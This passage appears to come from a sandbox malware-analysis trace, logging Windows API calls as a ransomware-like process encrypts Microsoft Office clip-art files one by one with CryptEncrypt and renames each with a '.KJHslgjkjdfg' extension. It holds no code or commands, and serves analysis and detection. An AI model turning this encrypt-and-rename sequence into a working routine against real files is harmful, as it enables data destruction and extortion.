nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.025] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.025] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.025] GetProcessHeap () returned 0x990000 [0205.025] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.025] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.025] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.026] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.026] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.026] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.026] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.026] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.026] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.026] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.026] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x608, lpOverlapped=0x0) returned 1 [0205.026] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x610, dwBufLen=0x610 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x610) returned 1 [0205.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.027] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x610, lpOverlapped=0x0) returned 1 [0205.027] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.027] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.027] SetEndOfFile (hFile=0x130) returned 1 [0205.031] GetProcessHeap () returned 0x990000 [0205.031] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.031] GetProcessHeap () returned 0x990000 [0205.031] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf.kjhslgjkjdfg")) returned 1 [0205.033] CloseHandle (hObject=0x130) returned 1 [0205.033] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00810_.WMF", cAlternateFileName="")) returned 1 [0205.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.061] GetProcessHeap () returned 0x990000 [0205.061] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.061] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.061] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.064] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.064] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.064] GetProcessHeap () returned 0x990000 [0205.064] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.064] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.064] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.064] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.064] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.064] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.064] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.065] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.065] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.065] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.065] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd58, lpOverlapped=0x0) returned 1 [0205.065] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd60, dwBufLen=0xd60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd60) returned 1 [0205.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.065] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd60, lpOverlapped=0x0) returned 1 [0205.066] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.066] SetEndOfFile (hFile=0x130) returned 1 [0205.069] GetProcessHeap () returned 0x990000 [0205.069] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.069] GetProcessHeap () returned 0x990000 [0205.069] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf.kjhslgjkjdfg")) returned 1 [0205.071] CloseHandle (hObject=0x130) returned 1 [0205.071] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3210, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00932_.WMF", cAlternateFileName="")) returned 1 [0205.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.072] GetProcessHeap () returned 0x990000 [0205.072] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.072] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.072] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.072] GetProcessHeap () returned 0x990000 [0205.072] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.079] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.080] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.080] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.082] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.082] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.082] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.083] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.083] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.083] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.083] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3210, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3210, lpOverlapped=0x0) returned 1 [0205.084] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3210, dwBufLen=0x3210 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3210) returned 1 [0205.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.084] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3210, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3210, lpOverlapped=0x0) returned 1 [0205.085] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.085] SetEndOfFile (hFile=0x130) returned 1 [0205.087] GetProcessHeap () returned 0x990000 [0205.087] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.087] GetProcessHeap () returned 0x990000 [0205.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf.kjhslgjkjdfg")) returned 1 [0205.093] CloseHandle (hObject=0x130) returned 1 [0205.093] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8abf600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8abf600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x7c46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01064_.WMF", cAlternateFileName="")) returned 1 [0205.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.094] GetProcessHeap () returned 0x990000 [0205.094] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.094] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.095] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0205.113] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.113] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.113] GetProcessHeap () returned 0x990000 [0205.113] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.113] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.113] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.113] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.113] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.113] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.113] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.114] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.114] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.114] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.114] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c46, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7c46, lpOverlapped=0x0) returned 1 [0205.115] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c50) returned 1 [0205.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.116] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7c50, lpOverlapped=0x0) returned 1 [0205.116] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.116] SetEndOfFile (hFile=0x130) returned 1 [0205.119] GetProcessHeap () returned 0x990000 [0205.119] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.119] GetProcessHeap () returned 0x990000 [0205.119] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf.kjhslgjkjdfg")) returned 1 [0205.121] CloseHandle (hObject=0x130) returned 1 [0205.121] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117a8f00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x117a8f00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x54a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01066_.WMF", cAlternateFileName="")) returned 1 [0205.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.124] GetProcessHeap () returned 0x990000 [0205.124] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.124] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.124] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.126] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.126] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.126] GetProcessHeap () returned 0x990000 [0205.126] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.126] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.127] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.127] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.127] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.127] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.127] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, 